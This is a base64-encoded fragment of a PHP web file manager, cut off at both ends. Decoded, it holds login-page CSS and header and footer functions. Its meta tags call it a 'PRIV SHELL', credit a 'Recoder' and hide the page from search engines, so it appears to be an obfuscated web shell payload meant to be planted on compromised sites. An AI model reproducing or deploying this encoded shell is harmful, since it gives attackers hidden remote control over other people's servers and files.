xIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDL3BhdGglM0UlM0Mvc3ZnJTNFIik7fQ0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuYnJhbmR7IHdpZHRoOjEyMXB4O292ZXJmbG93OmhpZGRlbjttYXJnaW46MCBhdXRvO3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MX0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZ3sgd2lkdGg6MTAwJX0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlcnsgd2lkdGg6MzYwcHg7bWFyZ2luLXRvcDoxMCU7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9DQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkeyBib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDRweCA4cHggcmdiYSgwLDAsMCwuMDUpfQ0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC10aXRsZXsgbWFyZ2luLWJvdHRvbToxLjVyZW07Zm9udC1zaXplOjI0cHg7Zm9udC13ZWlnaHQ6NDAwO30NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tY29udHJvbHsgYm9yZGVyLXdpZHRoOjIuM3B4fQ0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9ybS1ncm91cCBsYWJlbHsgd2lkdGg6MTAwJX0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJ0bi5idG4tYmxvY2t7IHBhZGRpbmc6MTJweCAxMHB4fQ0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9vdGVyeyBtYXJnaW46NDBweCAwO2NvbG9yOiM4ODg7dGV4dC1hbGlnbjpjZW50ZXJ9DQogICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpew0KICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlcnsgd2lkdGg6OTAlO21hcmdpbjowIGF1dG87bWFyZ2luLXRvcDoxMCU7fQ0KICAgICAgICB9DQogICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpew0KICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0eyBwYWRkaW5nOjB9DQogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQgLmNhcmQtYm9keXsgcGFkZGluZzoxNXB4fQ0KICAgICAgICB9DQogICAgICAgIC5tZXNzYWdleyBwYWRkaW5nOjRweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQtY29sb3I6I2ZmZn0NCiAgICAgICAgLm1lc3NhZ2Uub2t7IGJvcmRlci1jb2xvcjpncmVlbjtjb2xvcjpncmVlbn0NCiAgICAgICAgLm1lc3NhZ2UuZXJyb3J7IGJvcmRlci1jb2xvcjpyZWQ7Y29sb3I6cmVkfQ0KICAgICAgICAubWVzc2FnZS5hbGVydHsgYm9yZGVyLWNvbG9yOm9yYW5nZTtjb2xvcjpvcmFuZ2V9DQogICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO30NCiAgICAgICAgLnRoZW1lLWRhcmsgc3ZnIGcsIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtmaWxsOiAjZmZmZmZmOyB9DQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IGNsYXNzPSJmbS1sb2dpbi1wYWdlIDw/cGhwIGVjaG8gKEZNX1RIRU1FID09ICJkYXJrIikgPyAndGhlbWUtZGFyaycgOiAnJzsgPz4iPg0KPGRpdiBpZD0id3JhcHBlciIgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCI+DQoNCiAgICA8P3BocA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNob3cgcGFnZSBmb290ZXIgaW4gTG9naW4gRm9ybQ0KICAgICAqLw0KICAgIGZ1bmN0aW9uIGZtX3Nob3dfZm9vdGVyX2xvZ2luKCkNCiAgICB7DQogICAgPz4NCjwvZGl2Pg0KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjYuMS5taW4uanMiIGludGVncml0eT0ic2hhMjU2LW84OEF3UW5aQitWRHZFOXR2SVhyTVFhUGxGRlNVVFIrbmxkUW0xTHVQWFE9IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMi9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1PRVJjQTJFcWpKQ01BKy8zeStneElPcU1Fand0eEpZN3FQQ3FzZGx0Yk5KdWFPZTkyMyttby8vZjZWOFFic3czIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQp9DQoNCi8qKg0KICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW4NCiAqLw0KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKQ0Kew0KJHNwcml0ZXNfdmVyID0gJzIwMTYwMzE1JzsNCmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCmhlYWRlcigiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KDQpnbG9iYWwgJGxhbmcsICRyb290X3VybCwgJHN0aWNreV9uYXZiYXIsICRmYXZpY29uX3BhdGg7DQokaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4NCiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iV2ViIGJhc2VkIEZpbGUgTWFuYWdlciBpbiBQSFAsIE1hbmFnZSB5b3VyIGZpbGVzIGVmZmljaWVudGx5IGFuZCBlYXNpbHkgd2l0aCBQUklWIFNIRUxMIC4vREpfWiI+DQogICAgPG1ldGEgbmFtZT0iUmVjb2RlciIgY29udGVudD0iWW9sYWNjdGZhc3QiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9Imdvb2dsZWJvdCIgY29udGVudD0ibm9pbmRleCI+DQogICAgPD9waHAgaWYoJGZhdmljb25fcGF0aCkgeyBlY2hvICc8bGluayByZWw9Imljb24iIGhyZWY9IicuZm1fZW5jKCRmYXZpY29uX3BhdGgpLiciIHR5cGU9ImltYWdlL3BuZyI+JzsgfSA/Pg0KICAgIDx0aXRsZT48P3BocCBlY2hvIGZtX2VuYyhBUFBfVElUTEUpID8+PC90aXRsZT4NCiAgICA8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldCIgY3Jvc3NvcmlnaW4vPg0KICAgIDxsaW5rIHJlbD0iZG5zLXByZWZldGNoIiBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQiLz4gDQogICAgPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tIiBjcm9zc29yaWdpbi8+DQogICAgPGxpbmsgcmVsPSJkbnMtcHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20iLz4gDQogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4yLjIvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgaW50ZWdyaXR5PSJzaGEzODQtWmVuaDg3cVg1Sm5LMkpsMHZXYThDazJyZGtRMkJ6ZXA1SUR4YmNuQ2V1T3hqenJQRi9ldDNVUnk5QnYxV1RSaSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8P3BocCBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTICYmIGlzc2V0KCRfR0VUWyd2aWV3J10pKTogPz4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2hpZ2hsaWdodC5qcy8xMS42LjAvc3R5bGVzLzw/cGhwIGVjaG8gRk1fSElHSExJR0hUSlNfU1RZTEUgPz4ubWluLmNzcyI+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPndpbmRvdy5jc3JmID0gJzw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/Pic7PC9zY3JpcHQ+DQogICAgPHN0eWxlPg0KICAgICAgICBodG1sIHsgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTsgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7IHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7IGhlaWdodDogMTAwJTsgc2Nyb2xsLWJlaGF2aW9yOiBzbW9vdGg7fQ0KICAgICAgICAqLCo6OmJlZm9yZSwqOjphZnRlciB7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7fQ0KICAgICAgICBib2R5IHsgZm9udC1zaXplOjE1cHg7IGNvbG9yOiMyMjI7YmFja2dyb3VuZDojRjdGN0Y3OyB9DQogICAgICAgIGJvZHkubmF2YmFyLWZpeGVkIHsgbWFyZ2luLXRvcDo1NXB4OyB9DQogICAgICAgIGEsIGE6aG92ZXIsIGE6dmlzaXRlZCwgYTpmb2N1cyB7IHRleHQtZGVjb3JhdGlvbjpub25lICFpbXBvcnRhbnQ7IH0NCiAgICAgICAgLmZpbGVuYW1lLCB0ZCwgdGggeyB3aGl0ZS1zcGFjZTpub3dyYXAgIH0NCiAgICAgICAgLm5hdmJhci1icmFuZCB7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHsgY3Vyc29yOnBvaW50ZXI7dGV4dC10cmFuc2Zvcm06Y2FwaXRhbGl6ZTsgfQ0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgPiBpIHsgZm9udC1zaXplOjE1cHg7IH0NCiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciAuZHJvcGRvd24tbWVudSBhIHsgZm9udC1zaXplOjEzcHg7IH0NCiAgICAgICAgI3NlYXJjaC1hZGRvbiB7IGZvbnQtc2l6ZToxMnB4O2JvcmRlci1yaWdodC13aWR0aDowOyB9DQogICAgICAgIC5icmwtMCB7IGJhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym9yZGVyLWxlZnQ6MDsgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDsgfQ0KICAgICAgICAuYnJyLTAgeyBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7IH0NCiAgICAgICAgLmJyZWFkLWNydW1iIHsgY29sb3I6I2NjY2NjYztmb250LXN0eWxlOm5vcm1hbDsgfQ0KICAgICAgICAjbWFpbi10YWJsZSB7IHRyYW5zaXRpb246IHRyYW5zZm9ybSAuMjVzIGN1YmljLWJlemllcigwLjQsIDAuNSwgMCwgMSksd2lkdGggMHMgLjI1czt9DQogICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsgY29sb3I6IzIyMjIyMjsgfQ0KICAgICAgICAudGFibGUgdGQsIC50YWJsZSB0aCB7IHZlcnRpY2FsLWFsaWduOm1pZGRsZSAhaW1wb3J0YW50OyB9DQogICAgICAgIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LXRkIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gsIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LWhlYWRlciAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94IHsgbWluLXdpZHRoOjE4cHg7IGRpc3BsYXk6IGZsZXg7YWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IH0NCiAgICAgICAgLnRhYmxlLXNtIHRkLCAudGFibGUtc20gdGggeyBwYWRkaW5nOi40cmVtOyB9DQogICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCwgLnRhYmxlLWJvcmRlcmVkIHRoIHsgYm9yZGVyOjFweCBzb2xpZCAjZjFmMWYxOyB9DQogICAgICAgIC5oaWRkZW4geyBkaXNwbGF5Om5vbmUgIH0NCiAgICAgICAgcHJlLndpdGgtaGxqcyB7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6IGhpZGRlbjsgIH0NCiAgICAgICAgcHJlLndpdGgtaGxqcyBjb2RlIHsgbWFyZ2luOjA7Ym9yZGVyOjA7b3ZlcmZsb3c6c2Nyb2xsOyAgfQ0KICAgICAgICBjb2RlLm1heGhlaWdodCwgcHJlLm1heGhlaWdodCB7IG1heC1oZWlnaHQ6NTEycHggIH0NCiAgICAgICAgLmZhLmZhLWNhcmV0LXJpZ2h0IHsgZm9udC1zaXplOjEuMmVtO21hcmdpbjowIDRweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6I2VjZWNlYyAgfQ0KICAgICAgICAuZmEuZmEtaG9tZSB7IGZvbnQtc2l6ZToxLjNlbTt2ZXJ0aWNhbC1hbGlnbjpib3R0b20gIH0NCiAgICAgICAgLnBhdGggeyBtYXJnaW4tYm90dG9tOjEwcHggIH0NCiAgICAgICAgZm9ybS5kcm9wem9uZSB7IG1pbi1oZWlnaHQ6MjAwcHg7Ym9yZGVyOjJweCBkYXNoZWQgIzAwN2JmZjtsaW5lLWhlaWdodDo2cmVtOyB9DQogICAgICAgIC5yaWdodCB7IHRleHQtYWxpZ246cmlnaHQgIH0NCiAgICAgICAgLmNlbnRlciwgLmNsb3NlLCAubG9naW4tZm9ybSwgLnByZXZpZXctaW1nLWNvbnRhaW5lciB7IHRleHQtYWxpZ246Y2VudGVyICB9DQogICAgICAgIC5tZXNzYWdlIHsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYgIH0NCiAgICAgICAgLm1lc3NhZ2Uub2sgeyBib3JkZXItY29sb3I6Z3JlZW47Y29sb3I6Z3JlZW4gIH0NCiAgICAgICAgLm1lc3NhZ2UuZXJyb3IgeyBib3JkZXItY29sb3I6cmVkO2NvbG9yOnJlZCAgfQ0KICAgICAgICAubWVzc2FnZS5hbGVydCB7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlICB9DQogICAgICAgIC5wcmV2aWV3LWltZyB7IG1heC13aWR0aDoxMDAlO21heC1oZWlnaHQ6ODB2aDtiYWNrZ3JvdW5kOnVybChkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBS2tsRVFWUjQybUw1Ly84L0F6YncrUEZqck9KTURDU0NVUTNFQUJaYzRTMHJLenNhU3ZUVEFCQmdBTXlmQ01zWTRCOWlBQUFBQUVsRlRrU3VRbUNDKSB9DQogICAgICAgIC5pbmxpbmUtYWN0aW9ucyA+IGEgPiBpIHsgZm9udC1zaXplOjFlbTttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZDojMzc4NWMxO2NvbG9yOiNmZmY7cGFkZGluZzozcHggNHB4O2JvcmRlci1yYWRpdXM6M3B4OyB9DQogICAgICAgIC5wcmV2aWV3LXZpZGVvIHsgcG9zaXRpb246cmVsYXRpdmU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjA7cGFkZGluZy1ib3R0b206NjIuNSU7bWFyZ2luLWJvdHRvbToxMHB4ICB9DQogICAgICAgIC5wcmV2aWV3LXZpZGVvIHZpZGVvIHsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtsZWZ0OjA7dG9wOjA7YmFja2dyb3VuZDojMDAwICB9DQogICAgICAgIC5jb21wYWN0LXRhYmxlIHsgYm9yZGVyOjA7d2lkdGg6YXV0byAgfQ0KICAgICAgICAuY29tcGFjdC10YWJsZSB0ZCwgLmNvbXBhY3QtdGFibGUgdGggeyB3aWR0aDoxMDBweDtib3JkZXI6MDt0ZXh0LWFsaWduOmNlbnRlciAgfQ0KICAgICAgICAuY29tcGFjdC10YWJsZSB0cjpob3ZlciB0ZCB7IGJhY2tncm91bmQtY29sb3I6I2ZmZiAgfQ0KICAgICAgICAuZmlsZW5hbWUgeyBtYXgtd2lkdGg6NDIwcHg7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXMgIH0NCiAgICAgICAgLmJyZWFrLXdvcmQgeyB3b3JkLXdyYXA6YnJlYWstd29yZDttYXJnaW4tbGVmdDozMHB4ICB9DQogICAgICAgIC5icmVhay13b3JkLmZsb2F0LWxlZnQgYSB7IGNvbG9yOiM3ZDdkN2QgIH0NCiAgICAgICAgLmJyZWFrLXdvcmQgKyAuZmxvYXQtcmlnaHQgeyBwYWRkaW5nLXJpZ2h0OjMwcHg7cG9zaXRpb246cmVsYXRpdmUgIH0NCiAgICAgICAgLmJyZWFrLXdvcmQgKyAuZmxvYXQtcmlnaHQgPiBhIHsgY29sb3I6IzdkN2Q3ZDtmb250LXNpemU6MS4yZW07bWFyZ2luLXJpZ2h0OjRweCAgfQ0KICAgICAgICAjZWRpdG9yIHsgcG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MTVweDt0b3A6MTAwcHg7Ym90dG9tOjE1cHg7bGVmdDoxNXB4ICB9DQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7DQogICAgICAgICAgICAjZWRpdG9yIHsgdG9wOjE1MHB4OyB9DQogICAgICAgIH0NCiAgICAgICAgI25vcm1hbC1lZGl0b3IgeyBib3JkZXItcmFkaXVzOjNweDtib3JkZXItd2lkdGg6MnB4O3BhZGRpbmc6MTBweDtvdXRsaW5lOm5vbmU7IH0NCiAgICAgICAgLmJ0bi0yIHsgcGFkZGluZzo0cHggMTBweDtmb250LXNpemU6c21hbGw7IH0NCiAgICAgICAgbGkuZmlsZTpiZWZvcmUsbGkuZm9sZGVyOmJlZm9yZSB7IGZvbnQ6bm9ybWFsIG5vcm1hbCBub3JtYWwgMTRweC8xIEZvbnRBd2Vzb21lO2NvbnRlbnQ6IlxmMDE2IjttYXJnaW4tcmlnaHQ6NXB4IH0NCiAgICAgICAgbGkuZm9sZGVyOmJlZm9yZSB7IGNvbnRlbnQ6IlxmMTE0IiB9DQogICAgICAgIGkuZmEuZmEtZm9sZGVyLW8geyBjb2xvcjojMDE1N2IzIH0NCiAgICAgICAgaS5mYS5mYS1waWN0dXJlLW8geyBjb2xvcjojMjZiOTlhIH0NCiAgICAgICAgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7IGNvbG9yOiNkYTdkN2QgfQ0KICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7IGNvbG9yOmluaGVyaXQgfQ0KICAgICAgICBpLmZhLmZhLWNzczMgeyBjb2xvcjojZjM2ZmEwIH0NCiAgICAgICAgaS5mYS5mYS1maWxlLWNvZGUtbyB7IGNvbG9yOiMwMDdiZmYgfQ0KICAgICAgICBpLmZhLmZhLWNvZGUgeyBjb2xvcjojY2M0YjRjIH0NCiAgICAgICAgaS5mYS5mYS1maWxlLXRleHQtbyB7IGNvbG9yOiMwMDk2ZTYgfQ0KICAgICAgICBpLmZhLmZhLWh0bWw1IHsgY29sb3I6I2Q3NWU3MiB9DQogICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHsgY29sb3I6IzA5YzU1ZCB9DQogICAgICAgIGkuZmEuZmEtZmlsZS1wb3dlcnBvaW50LW8geyBjb2xvcjojZjY3MTJlIH0NCiAgICAgICAgaS5nby1iYWNrIHsgZm9udC1zaXplOjEuMmVtO2NvbG9yOiMwMDdiZmY7IH0NCiAgICAgICAgLm1haW4tbmF2IHsgcGFkZGluZzowLjJyZW0gMXJlbTtib3gtc2hhZG93OjAgNHB4IDVweCAwIHJnYmEoMCwgMCwgMCwgLjE0KSwgMCAxcHggMTBweCAwIHJnYmEoMCwgMCwgMCwgLjEyKSwgMCAycHggNHB4IC0xcHggcmdiYSgwLCAwLCAwLCAuMikgIH0NCiAgICAgICAgLmRhdGFUYWJsZXNfZmlsdGVyIHsgZGlzcGxheTpub25lOyB9DQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7IGN1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciByaWdodDtiYWNrZ3JvdW5kLWltYWdlOnVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FRQUFBRFlXZjVIQUFBQWtFbEVRVlFvejdYUU1RNUFRQkNGNGRXUVNKeEM1d3dheDFDcTFlN0JBZHhENVNMK1RxL1FDTTFvTmlKaWR3b3gwMzU1bVhuRy9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTsgfQ0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfYXNjIHsgY3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyIHJpZ2h0O2JhY2tncm91bmQtaW1hZ2U6dXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVlBQUFCeVVEYk1BQUFBWjBsRVFWUTR5Mk5nR0xLZ3F1RXVGeEJQQUdJMmFoaFdDc1MvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7IH0NCiAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2Rlc2MgeyBjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXIgcmlnaHQ7YmFja2dyb3VuZC1pbWFnZTp1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaVWxFUVZRNHkyTmdHQVdqWUJTZ2dhcUd1NUZBL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpOyB9DQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aC5jdXN0b20tY2hlY2tib3gtaGVhZGVyOmZpcnN0LWNoaWxkIHsgYmFja2dyb3VuZC1pbWFnZTpub25lOyB9DQogICAgICAgIC5mb290ZXItYWN0aW9uIGxpIHsgbWFyZ2luLWJvdHRvbToxMHB4OyB9DQogICAgICAgIC5hcHAtdi10aXRsZSB7IGZvbnQtc2l6ZToyNHB4O2ZvbnQtd2VpZ2h0OjMwMDtsZXR0ZXItc3BhY2luZzotLjVweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IH0NCiAgICAgICAgaHIuY3VzdG9tLWhyIHsgYm9yZGVyLXRvcDoxcHggZGFzaGVkICM4YzhiOGI7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNmZmY7IH0NCiAgICAgICAgI3NuYWNrYmFyIHsgdmlzaWJpbGl0eTpoaWRkZW47bWluLXdpZHRoOjI1MHB4O21hcmdpbi1sZWZ0Oi0xMjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItcmFkaXVzOjJweDtwYWRkaW5nOjE2cHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxO2xlZnQ6NTAlO2JvdHRvbTozMHB4O2ZvbnQtc2l6ZToxN3B4OyB9DQogICAgICAgICNzbmFja2Jhci5zaG93IHsgdmlzaWJpbGl0eTp2aXNpYmxlOy13ZWJraXQtYW5pbWF0aW9uOmZhZGVpbiAwLjVzLCBmYWRlb3V0IDAuNXMgMi41czthbmltYXRpb246ZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzOyB9DQogICAgICAgIEAtd2Via2l0LWtleWZyYW1lcyBmYWRlaW4geyBmcm9tIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9DQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9DQogICAgICAgIH0NCiAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4geyBmcm9tIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9DQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9DQogICAgICAgIH0NCiAgICAgICAgQC13ZWJraXQta2V5ZnJhbWVzIGZhZGVvdXQgeyBmcm9tIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9DQogICAgICAgIHRvIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9DQogICAgICAgIH0NCiAgICAgICAgQGtleWZyYW1lcyBmYWRlb3V0IHsgZnJvbSB7IGJvdHRvbTozMHB4O29wYWNpdHk6MTsgfQ0KICAgICAgICB0byB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQ0KICAgICAgICB9DQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2UgeyBib3JkZXItYm90dG9tOjJweCBzb2xpZCAjZjhmOWZhIH0NCiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMSkgeyBib3JkZXItY29sb3I6I2RmNDIyNyB9DQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWx